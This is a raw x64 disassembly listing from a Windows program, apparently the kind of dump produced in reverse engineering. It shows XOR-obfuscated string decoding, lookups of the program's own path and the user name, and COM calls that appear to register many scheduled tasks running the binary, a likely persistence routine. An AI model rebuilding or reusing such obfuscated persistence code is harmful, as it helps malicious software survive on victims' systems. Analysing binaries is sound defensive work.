movabs r15, 0xaaaaaaaaaaaaaaab
jbe 0x140004d13
mov rsi, rdi
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp - 0x68]
call fcn.1400083b0
mov rdx, rsi
lea rcx, [rbp - 0x20]
mov rbx, rax
call fcn.1400083b0
mov rcx, rax
inc r14d
mov rax, r15
mul rsi
shr rdx, 1
lea rax, [rdx + rdx*2]
sub rsi, rax
movzx eax, byte [rbp + rsi - 0x70]
xor al, byte [rbx]
movsxd rsi, r14d
mov byte [rcx], al
cmp rsi, qword [rbp - 0x58]
jb 0x140004cd0
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x20]
call fcn.1400083d0
lea rdx, [rbp - 0x48]
mov rbx, rax
lea rcx, [rbp - 0x20]
call fcn.1400083f0
mov r8, qword [rbx]
lea rcx, [rbp + 0x88]
mov rdx, qword [rax]
call fcn.140008f60
lea rdx, str.Fzw1Nz46MyA2
lea rcx, [rbp]
call fcn.140002c40
lea rdx, [rbp]
lea rcx, [rbp + 0x50]
call fcn.140002390
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.140008440
lea rcx, [rbp + 0x50]
call fcn.140002be0
lea rcx, [rbp]
call fcn.140002be0
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 0x20]
call fcn.140008410
cmp qword [rbp - 0x58], 0
mov r14d, edi
jbe 0x140004de3
mov rsi, rdi
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp - 0x68]
call fcn.1400083b0
mov rdx, rsi
lea rcx, [rbp - 0x20]
mov rbx, rax
call fcn.1400083b0
mov rcx, rax
inc r14d
mov rax, r15
mul rsi
shr rdx, 1
lea rax, [rdx + rdx*2]
sub rsi, rax
movzx eax, byte [rbp + rsi - 0x70]
xor al, byte [rbx]
movsxd rsi, r14d
mov byte [rcx], al
cmp rsi, qword [rbp - 0x58]
jb 0x140004da0
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x20]
call fcn.1400083d0
lea rdx, [rbp - 0x48]
mov rbx, rax
lea rcx, [rbp - 0x20]
call fcn.1400083f0
mov r8, qword [rbx]
lea rcx, [rbp + 0x108]
mov rdx, qword [rax]
call fcn.140008f60
lea rax, [rsp + 0x38]
mov qword [rsp + 0x38], rdi
lea r9, [0x14024a170]
mov qword [rsp + 0x20], rax
mov r8d, r13d
lea rcx, [0x14024a160]
xor edx, edx
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140004e8a
lea rcx, [rbp + 0x88]
mov qword [rsp + 0x40], rdi
call fcn.140008320
mov rcx, qword [rsp + 0x38]
lea r9, [rsp + 0x40]
lea r8, [0x14024a180]
mov rdx, rax
mov r10, qword [rcx]
call qword [r10 + 0x30]
test eax, eax
jne 0x140004e8a
lea rcx, [rbp + 0x88]
call fcn.140008320
mov rcx, qword [rsp + 0x38]
mov rdx, rax
mov r8, qword [rcx]
call qword [r8 + 0x38]
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x140004e9a
mov rax, qword [rcx]
call qword [rax + 0x10]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x38], rdi
lea r9, [0x14024a170]
mov qword [rsp + 0x20], rax
mov r8d, r13d
lea rcx, [0x14024a160]
xor edx, edx
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140004f11
lea rcx, [rbp + 0x108]
mov qword [rsp + 0x40], rdi
call fcn.140008320
mov rcx, qword [rsp + 0x38]
lea r9, [rsp + 0x40]
lea r8, [0x14024a180]
mov rdx, rax
mov r10, qword [rcx]
call qword [r10 + 0x30]
test eax, eax
jne 0x140004f11
lea rcx, [rbp + 0x108]
call fcn.140008320
mov rcx, qword [rsp + 0x38]
mov rdx, rax
mov r8, qword [rcx]
call qword [r8 + 0x38]
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x140004f21
mov rax, qword [rcx]
call qword [rax + 0x10]
test r12d, r12d
jne 0x14000562c
xor edx, edx
lea rcx, [rbp + 0x450]
mov r8d, 0x208
call fcn.1401b62f0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004f61
mov r8d, 0x208
lea rdx, [rbp + 0x450]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor edx, edx
lea rcx, [rbp + 0x240]
mov r8d, 0x202
call fcn.1401b62f0
lea rdx, [rbp + 0x84]
mov dword [rbp + 0x84], 0x101
lea rcx, [rbp + 0x240]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x58], rdi
lea r9, [0x14024a170]
mov qword [rsp + 0x20], rax
mov r8d, r13d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x50], rdi
lea rcx, [0x14024a160]
mov qword [rsp + 0x48], rdi
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov r14d, gethostbyname
test eax, eax
jne 0x14000524e
lea rcx, [rbp + 0x88]
call fcn.140008320
mov rcx, qword [rsp + 0x50]
lea r9, [rsp + 0x48]
lea r8, [0x14024a180]
mov rdx, rax
mov r10, qword [rcx]
call qword [r10 + 0x30]
test eax, eax
je 0x14000524e
lea rcx, [rbp + 0x88]
call fcn.140008320
mov rcx, qword [rsp + 0x50]
lea rdx, [rsp + 0x48]
mov qword [rsp + 0x20], rdx
lea r9, [0x14024a180]
lea r8, [0x14024a150]
mov rdx, rax
mov r10, qword [rcx]
call qword [r10 + 0x40]
test eax, eax
jne 0x14000524e
mov rcx, qword [rsp + 0x48]
lea r8, [rsp + 0x30]
lea rdx, [0x14024a180]
mov rax, qword [rcx]
call qword [rax]
test eax, eax
jne 0x14000524e
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x30]
lea rdx, [rbp + 0x450]
mov qword [rsp + 0x48], rdi
mov rax, qword [rcx]
call qword [rax + 0x100]
test eax, eax
jne 0x14000524e
lea rcx, [rbp + 0xe8]
call fcn.140008320
mov rcx, qword [rsp + 0x30]
mov rdx, rax
mov r8, qword [rcx]
call qword [r8 + 0x110]
test eax, eax
jne 0x14000524e
mov rcx, qword [rsp + 0x30]
lea rdx, [0x140256bb8]
mov rax, qword [rcx]
call qword [rax + 0x120]
test eax, eax
jne 0x14000524e
mov rcx, qword [rsp + 0x30]
mov edx, 0x2000
mov rax, qword [rcx]
call qword [rax + 0xe0]
mov rcx, qword [rsp + 0x30]
lea rdx, [rbp + 0x240]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0xf0]
test eax, eax
jne 0x14000524e
mov rcx, qword [rsp + 0x30]
lea rdx, [0x140258a68]
mov rax, qword [rcx]
call qword [rax + 0x90]
test eax, eax
jne 0x14000524e
mov rcx, qword [rsp + 0x30]
mov edx, 0x2003
mov rax, qword [rcx]
call qword [rax + 0xe0]
test eax, eax
jne 0x14000524e
mov qword [rsp + 0x40], rdi
lea ebx, [rax + 5]
mov word [rsp + 0x38], di
movzx esi, r13w
nop dword [rax]
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x38]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
test eax, eax
js 0x14000520a
xor eax, eax
lea rcx, [rbp - 0x40]
mov qword [rbp], rax
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
movzx eax, si
lea rdx, [rbp - 0x40]
imul rcx, rax, 0x23c34600
add si, 2
add qword [rbp - 0x48], rcx
lea rcx, [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
movzx eax, word [rbp - 0x3a]
lea rdx, [rbp]
mov rcx, qword [rsp + 0x40]
mov word [rbp + 8], ax
movzx eax, word [rbp - 0x3e]
mov word [rbp + 6], ax
movzx eax, word [rbp - 0x40]
mov word [rbp + 4], ax
movzx eax, word [rbp - 0x38]
mov word [rbp + 0x10], ax
movzx eax, word [rbp - 0x36]
mov word [rbp + 0x12], ax
mov word [rbp], r14w
mov dword [rbp + 0x20], edi
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14000521a
mov rax, qword [rcx]
call qword [rax + 0x10]
sub rbx, 1
jne 0x140005150
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x58]
lea rdx, [0x140244d28]
mov rax, qword [rcx]
call qword [rax]
test eax, eax
js 0x14000524e
mov rcx, qword [rsp + 0x58]
xor r8d, r8d
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x30]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000525e
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x58], rdi
test rcx, rcx
je 0x140005273
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x30], rdi
test rcx, rcx
je 0x140005288
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x50], rdi
test rcx, rcx
je 0x14000529d
mov rax, qword [rcx]
call qword [rax + 0x10]
xor eax, eax
mov qword [rsp + 0x48], rdi
mov qword [rbp], rax
lea r9, [0x14024a170]
mov qword [rbp + 8], rax
lea rcx, [0x14024a160]
mov qword [rbp + 0x10], rax
mov r8d, r13d
mov qword [rbp + 0x18], rax
xor edx, edx
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov word [rbp - 0x70], di
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x1400055d8
lea rcx, [rbp + 0x108]
call fcn.140008320
mov rcx, qword [rsp + 0x50]
lea r9, [rsp + 0x48]
lea r8, [0x14024a180]
mov rdx, rax
mov r10, qword [rcx]
call qword [r10 + 0x30]
test eax, eax
je 0x1400055d8
lea rcx, [rbp + 0x108]
call fcn.140008320
mov rcx, qword [rsp + 0x50]
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], r9
lea r8, [0x14024a150]
lea r9, [0x14024a180]
mov rdx, rax
mov r10, qword [rcx]
call qword [r10 + 0x40]
test eax, eax
jne 0x1400055d8
mov rcx, qword [rsp + 0x48]
lea r8, [rsp + 0x30]
lea rdx, [0x14024a180]
mov rax, qword [rcx]
call qword [rax]
test eax, eax
jne 0x1400055d8
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x30]
lea rdx, [rbp + 0x450]
mov qword [rsp + 0x48], rdi
mov rax, qword [rcx]
call qword [rax + 0x100]
test eax, eax
jne 0x1400055d8
lea rcx, [rbp + 0xc8]
call fcn.140008320
mov rcx, qword [rsp + 0x30]
mov rdx, rax
mov r8, qword [rcx]
call qword [r8 + 0x110]
test eax, eax
jne 0x1400055d8
mov rcx, qword [rsp + 0x30]
lea rdx, [0x140256bb8]
mov rax, qword [rcx]
call qword [rax + 0x120]
test eax, eax
jne 0x1400055d8
mov rcx, qword [rsp + 0x30]
mov edx, 0x2000
mov rax, qword [rcx]
call qword [rax + 0xe0]
mov rcx, qword [rsp + 0x30]
lea rdx, [rbp + 0x240]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0xf0]
test eax, eax
jne 0x1400055d8
mov rcx, qword [rsp + 0x30]
lea rdx, [0x140258a68]
mov rax, qword [rcx]
call qword [rax + 0x90]
test eax, eax
jne 0x1400055d8
mov rcx, qword [rsp + 0x30]
mov edx, 0x2001
mov rax, qword [rcx]
call qword [rax + 0xe0]
test eax, eax
jne 0x1400055d8
mov rcx, qword [rsp + 0x30]
lea r8, [rbp - 0x48]
mov qword [rbp - 0x48], rdi
lea rdx, [rsp + 0x38]
mov word [rsp + 0x38], di
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
mov esi, 0x7cf
test eax, eax
js 0x1400054b3
mov rcx, qword [rbp - 0x48]
lea rdx, [rbp + 0x50]
xor eax, eax
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rax
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x78], rax
mov word [rbp + 0x50], r14w
mov dword [rbp + 0x56], 0x10001
mov word [rbp + 0x54], si
mov dword [rbp + 0x70], 7
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x1400054c2
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x30]
lea r8, [rbp - 0x48]
lea rdx, [rsp + 0x38]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
test eax, eax
js 0x140005519
mov rcx, qword [rbp - 0x48]
lea rdx, [rbp + 0x50]
xor eax, eax
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rax
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x78], rax
mov word [rbp + 0x50], r14w
mov dword [rbp + 0x56], 0x10001
mov word [rbp + 0x54], si
mov dword [rbp + 0x70], 5
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x140005528
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ebx, edi
nop word [rax + rax]
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x40], rdi
lea rdx, [rbp - 0x70]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
test eax, eax
js 0x1400055ae
mov rcx, qword [rsp + 0x40]
lea rdx, [rbp]
xor eax, eax
mov qword [rbp], rax
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x20], rax
mov qword [rbp + 8], rax
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x28], rax
mov dword [rbp + 6], 0x10001
mov word [rbp + 4], si
mov word [rbp], r14w
mov word [rbp + 0x10], bx
mov word [rbp + 0x12], di
mov dword [rbp + 0x20], r13d
mov word [rbp + 0x24], r13w
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x1400055a7
mov rax, qword [rcx]
call qword [rax + 0x10]
inc ebx
cmp ebx, 0x19
jl 0x140005530
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x58]
lea rdx, [0x140244d28]
mov rax, qword [rcx]
call qword [rax]
test eax, eax
js 0x1400055d8
mov rcx, qword [rsp + 0x58]
xor r8d, r8d
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x30]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x1400055e8
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x58], rdi
test rcx, rcx
je 0x1400055fd
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x30], rdi
test rcx, rcx
je 0x140005612
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x50], rdi
test rcx, rcx
je 0x140005627
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rsp + 0x48], rdi
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rcx, [rbp + 0x108]
call fcn.140008330
lea rcx, [rbp + 0x88]
call fcn.140008330
lea rcx, [rbp + 0xe8]
call fcn.140008330
lea rcx, [rbp + 0xa8]
call fcn.140002be0
lea rcx, [rbp + 0xc8]
call fcn.140008330
lea rcx, [rbp + 0x128]
call fcn.140002be0
lea rcx, [rbp - 0x20]
call fcn.140002be0
lea rcx, [rbp - 0x68]
call fcn.140002be0
mov r13, qword [rsp + 0x7b8]
mov eax, edi
mov r12, qword [rsp + 0x7b0]
mov rsi, qword [rsp + 0x7a8]
mov r14, qword [rsp + 0x770]
mov rcx, qword [rbp + 0x660]
xor rcx, rsp
call fcn.14018e750
add rsp, 0x778
pop r15
pop rdi
pop rbx
pop rbp
ret
call fcn.1401b8a34
int3
call fcn.1401b8a34
int3
call fcn.1401b8a34
int3
call fcn.1401b8a34
int3
call fcn.1401b8a34
int3
call fcn.1401b8a34
int3
call fcn.1401b8a34
int3